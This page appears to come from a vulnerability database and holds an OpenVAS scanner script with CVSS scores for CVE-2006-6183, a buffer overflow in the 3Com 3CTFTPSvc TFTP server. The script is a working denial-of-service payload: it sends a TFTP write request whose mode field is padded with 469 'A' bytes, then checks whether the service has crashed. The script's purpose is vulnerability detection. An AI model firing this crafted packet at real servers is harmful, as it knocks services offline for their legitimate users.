Lucene search

K
openvasCopyright (C) 2012 Greenbone AGOPENVAS:1361412562310802658
HistoryJul 10, 2012 - 12:00 a.m.

3CTftpSvc TFTP Server Long Mode Buffer Overflow Vulnerability

2012-07-1000:00:00
Copyright (C) 2012 Greenbone AG
plugins.openvas.org
62

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

AI Score

6.9

Confidence

Low

EPSS

0.807

Percentile

98.4%

3CTftpSvc TFTP Server is prone to a buffer overflow vulnerability.

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802658");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2006-6183");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-07-10 15:15:15 +0530 (Tue, 10 Jul 2012)");
  script_name("3CTftpSvc TFTP Server Long Mode Buffer Overflow Vulnerability");

  script_xref(name:"URL", value:"http://secunia.com/advisories/23113");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/21301");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/21322");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/30545");
  script_xref(name:"URL", value:"http://cxsecurity.com/issue/WLB-2006120002");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/archive/1/452754/100/0/threaded");

  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Buffer overflow");
  script_dependencies("tftpd_detect.nasl", "global_settings.nasl", "os_detection.nasl");
  script_require_udp_ports("Services/udp/tftp", 69);
  script_mandatory_keys("tftp/detected");
  script_require_keys("Host/runs_windows");
  script_exclude_keys("keys/TARGET_IS_IPV6");

  script_tag(name:"impact", value:"Successful exploitation will allow attackers to cause the
  application to crash, denying further service to legitimate users.");

  script_tag(name:"affected", value:"3Com 3CTFTPSvc TFTP Server version 2.0.1.");

  script_tag(name:"insight", value:"The flaw is due to a boundary error during the processing of
  TFTP Read/Write request packet types. This can be exploited to cause a stack
  based buffer overflow by sending a specially crafted packet with an overly long mode field.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"summary", value:"3CTftpSvc TFTP Server is prone to a buffer overflow vulnerability.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

if(TARGET_IS_IPV6())
  exit(0);

include("tftp.inc");
include("misc_func.inc");
include("port_service_func.inc");

port = service_get_port(default:69, proto:"tftp", ipproto:"udp");

if(!tftp_alive(port:port))
  exit(0);

soc = open_sock_udp(port);
if(!soc)
  exit(0);

mode = "netascii" + crap(data: "A", length: 469);
attack = raw_string(0x00, 0x02) + ## Write Request
         "A" + raw_string(0x00) + ## Source File Name
         mode + raw_string(0x00); ## Type (Mode)

send(socket:soc, data:attack);
send(socket:soc, data:attack);
close(soc);

sleep(2);

if(!tftp_alive(port:port)) {
  security_message(port:port, proto:"udp");
  exit(0);
}

exit(99);

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

AI Score

6.9

Confidence

Low

EPSS

0.807

Percentile

98.4%